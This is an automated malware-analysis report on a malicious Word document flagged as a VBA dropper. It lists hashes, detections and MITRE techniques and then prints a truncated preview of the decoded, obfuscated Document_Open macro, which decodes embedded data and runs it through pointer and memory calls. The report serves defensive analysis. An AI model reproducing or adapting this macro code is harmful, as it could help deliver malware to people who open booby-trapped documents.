Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c2cda430bee8fadf…

MALICIOUS

Office (OLE)

212.1 KB Created: 2017-06-12 13:10:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: 684f88acb5afc0fac818606e1535878e SHA-1: b9575d3653f3e68cb810893253c83c090a055f9e SHA-256: c2cda430bee8fadf9b1dd482bd0389a9a27789afefb5494eedf0b0ea0201bccb
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Dropper.Agent-6547812-0. A high-severity heuristic indicates the presence of a Document_Open macro, and a medium-severity heuristic confirms VBA macros are present. The VBA script, though obfuscated, likely attempts to download and execute a secondary payload, a common dropper behavior. The document body content is unrelated to the malicious functionality.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-6547812-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6547812-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14315 bytes
SHA-256: bd32337edf9340fbe3efbd3155f3d06d2fa11062b0a0de761f3e0001260234d7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim anapsida As Byte
Dim anomalousness As String
pharmacologically = familiarity
noddle
leman = 7
encore = 30528
tigella = 170480
 Pmt 0, leman, 32873, 55581, 7
End Sub


Sub noddle()
Dim excellently As String
Dim rachitic As String
burnable.monotonic.Value = Day(#12/5/2013#)
varday = pedestal = drachma
accipitriformes = advance
annoyingly = "wolfsbane"
barde = "expediency"
sweptwing = "chauki"

nelumbo = "charmed"
nymphaeaceae = "homebrewed"
crankcase = "misdevotion"
Set firstrater = burnable.monotonic.SelectedItem
nonobservance = 48
monstera = 38456
nom = 474192
 Pmt 0, nonobservance, 19155, 16376, 3

medias = firstrater.Name
oligocene = 7844
drawnwork = Right(medias, oligocene)
breastdeep = bumboat.filamentiferous(drawnwork)
myocardial = 88
hardened = 20151
decade = 242593
 Pmt 0, myocardial, 4849, 36353, 7

planted = "czech"
#If (7 + 2) > 4 / 2 And Win64 > (3 - 3) / 1 Then
Dim accessory As String
Dim flame As LongPtr
Dim breathed As LongPtr
Dim conceptional As Byte
#Else
Dim amphictyony As Variant
Dim breathed As Long
Dim factuality As String
Dim flame As Long
#End If
bryony = 0
desiccation = "cosignatory"
symphonizing = "gills"
fishy = 41 - 125 + 4180
malapropos = 29
erudite = 3046
blacklist = 248971
 Pmt 0, malapropos, 38976, 47697, 6

predictable = "ungenerous"
eudioscope = "doces"
fixable = 76
coffee = 5085
alimony = 194574
 Pmt 0, fixable, 37261, 42419, 7

piously = breastdeep
affluent = "linanthus"
ciderpress = "archon"
flame = tinned(piously)
atoll = "pantyhose"
#If (7 + 2) > 4 / 2 And Win64 > (3 - 3) / 1 Then
Dim bobsledding As Integer
Dim biologically As LongPtr
Dim detroit As LongPtr
Dim lob As LongPtr
ninetieth = 3 - 29 + 2090
#Else
Dim biologically As Long
dr = 1 + 780
Dim detroit As Long
Dim lob As Long
ninetieth = dr + 3459

#End If
Dim candlelight As String
Dim franchecomte As Variant
biologically = 0
breathed = flame + ninetieth
detroit = 48 + 201479
lob = 3500
autoimmune = foppery(detroit, biologically, breathed, biologically, biologically, biologically, biologically)
artfulness = 4
despond = 6606
bijouterie = 521814
 Pmt 0, artfulness, 24078, 35984, 3

End Sub

Sub Binary_Search_of_Array()
      Dim intThousand(1000) As Integer
      Dim i As Integer
      Dim intTop As Integer
      Dim intMiddle As Integer
      Dim intBottom As Integer
      Dim varUserNumber As Variant

      For i = 1 To 1000
          intThousand(i) = i
      Next i

      varUserNumber = 233
      intTop = UBound(intThousand)
      intBottom = LBound(intThousand)

      Do
          intMiddle = (intTop + intBottom) / 2
          If varUserNumber > intThousand(intMiddle) Then
             intBottom = intMiddle + 1
          Else
              intTop = intMiddle - 1
          End If
      Loop Until (varUserNumber = intThousand(intMiddle)) _
          Or (intBottom > intTop)

      If varUserNumber = intThousand(intMiddle) Then
          Debug.Print varUserNumber & ", at position " & intMiddle
      Else
          Debug.Print "not in "
      End If
  End Sub


Function tinned(foi)
Dim bagnio As Integer
Dim funereal As String
Dim destime As String
Dim fiddling As Integer
#If (7 + 2) > 4 / 2 And Win64 > (3 - 3) / 1 Then
Dim conenose As Long
Dim poised As LongPtr
avantpropos = 89 - 99 + 53 - 35
Dim surreptitious As LongPtr
Dim stupid As Variant
Dim civilian As Variant
Dim punchinello As LongPtr
Dim sejunction As Byte
#Else
Dim poised As Long
avantpropos = 82 - 78
Dim surreptitious As Long
Dim punchinello As Long
#End If
appetency = VarPtr(poised)
groundling = condolence(appetency, VarPtr(foi) + 8, avantpropos)
petrochemical = -1
surreptitious = 82 - 82
moderne = 0
pu
... (truncated)